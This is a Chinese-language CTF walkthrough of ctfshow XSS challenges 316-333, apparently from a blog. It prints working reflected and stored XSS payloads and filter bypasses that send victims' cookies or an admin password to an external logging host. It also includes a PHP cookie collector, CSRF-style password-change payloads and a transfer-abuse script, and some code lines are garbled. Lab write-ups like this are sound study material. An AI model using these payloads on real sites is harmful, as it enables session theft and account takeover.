316.反射型 XSS(-326都是反射型)
js恶意代码是存在于某个参数中,通过url后缀进行get传入,当其他用户点进这个被精心构造的url链接时,恶意代码就会被解析,从而盗取用户信息。
来看题,先简单测试一下
是xxs
直接注入(代码意思是浏览器解析这段代码时,会弹出一个警告对话框,显示当前网页的所有 Cookie 信息)
弹出flag=你不是管理员。显然,由于我们不是管理员,所以cookie参数是不正确的
所以我们设计一个paload(xxs),然后台机器人(admin)就会访问,就此获得admin的cookie信息,接下来就要利用下面这个网址(有自己服务器更好)或者用xxs平台,但是我失败了。。。
CEYE - Monitor service for security testing
<script>
var img=document.createElement("img"); img.src="http://kxa8sn.ceye.io"+document.cookie;
</script>
这个是分配的唯一子域名
打入paload就有flag
当然还有其它方法
<script>window.open('http://....ceye.io/'+document.cookie)</script>
<input onfocus="window.open('http://....ceye.io/'+document.cookie)" autofocus>
<svg onload="window.open('http://....ceye.io/'+document.cookie)">
<iframe onload="window.open('http://....ceye.io/'+document.cookie)"></iframe>
<body onload="window.open('http://....ceye.io/'+document.cookie)">
方法二:自服务器
自己服务器下写一个php文件
<?php$cookie = $_GET['cookie'];$time = date('Y-m-d h:i:s', time());$log = fopen("cookie.txt", "a");fwrite($log,$time.': '. $cookie . "\n");fclose($log);
?>
<script>location.href="http://101.200.39.193:3000/xss-test/1.php?cookie="+document.cookie</script>
有点奇怪,我的80端口站点不行,但是我重新开一个站点端口3000就行
web317-过滤script
上面给了许多payload,没有script的直接打
<body onload="window.open('http://kxa8sn.ceye.io/'+document.cookie)">
web318-还过滤了img
继续打
<body onload="window.open('http://kxa8sn.ceye.io/'+document.cookie)">
web319
继续打
<body onload="window.open('http://kxa8sn.ceye.io/'+document.cookie)">
web320-322 -过滤了空格
用/或者/**/代替或者用tab键代替空格(%09)
<body/**/οnlοad="window.open('http://kxa8sn.ceye.io/'+document.cookie)"></body>
<body/οnlοad="window.open('http://kxa8sn.ceye.io/'+document.cookie)"></body>
web323、324、325、326还过滤了iframe
不妨碍我们继续用上面的paylaod
ctfshow_web316-326_反射型XSS_ctfshow316-CSDN博客
CTFSHOW xss篇_web328-CSDN博客
Ctfshow web入门 XSS篇 web316-web333 详细题解 全_ctfshow web316-CSDN博客
web327
存储型XSS字如其名,js代码会被存储在网页的数据库中,比如说留言板。这类XSS漏洞的危害较大,只要用户查看了恶意用户的留言,就会被盗取信息
这题就发件给admin,后台admin查看了邮件就会盗取其信息,此题无过滤
328存储型 Cookie
<script>window.open('http://101.200.39.193:4000/'+document.cookie)</script>
nc监听4000端口,出现cookie (记得将4000再安全组打开)
然后替换cookie即可。
329.带其它元素
这题cookie抓到就失效 ,那我们就不带cookie,带其他元素
这里可以看到前端代码中将要显示admin密码的地方类为layui-table-cell laytable-cell-1-0-1
<script>window.open('http://101.200.39.193:4000/' + document.getElementsByClassName('layui-table-cell laytable-cell-1-0-1')[1].innerHTML);
</script>
更多方法请看Ctfshow web入门 XSS篇 web316-web333 详细题解 全_ctfshow web316-CSDN博客
330:存在csrf
修改密码抓包发现有api,这题肯定是想改管理员密码,但是其cookie一直在变,所以就用xss让管理自己改,同样是注册时打payload
<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>
这时候会出现一种情况,我们在管理员账号上一点击用户管理
,立马跳转到api,来不及复制flag。这是因为我们的XSSpayload是一个用户账号,管理员每次访问用户管理
都会解析它
解决方法迅速按ctrl+u就好了
331.post型
跟上面差不多,就是换成post请求了
<script>$.ajax({url:"api/change.php",method:"POST",data:{'p':'123'}})</script>
332.
一就是给别人转负数,比如给admin转-999999
这题还可以给自己转。这题x不出来,不知道为何xss不行。
CTFshow刷题日记-WEB-XSS(web316-333)_ctfshow web316-CSDN博客
Ctfshow web入门 XSS篇 web316-web333 详细题解 全_ctfshow web316-CSDN博客
333
不可以转负数,但是可以自己转自己。这里也可以用脚本解决
import requests
url = "http://8f989b80-7384-449e-ab60-a8ab6c93b11a.challenge.ctf.show/api/amount.php"
headers ={'Cookie':'PHPSESSID=t8aiknrh29fh2sueb9q7oubec8'} #自己账号登陆后的sessionidfor i in range(0,10000):tmp=i*4data = {'u': 'jay','a': str(tmp)}res=requests.post(url,data=data,headers=headers)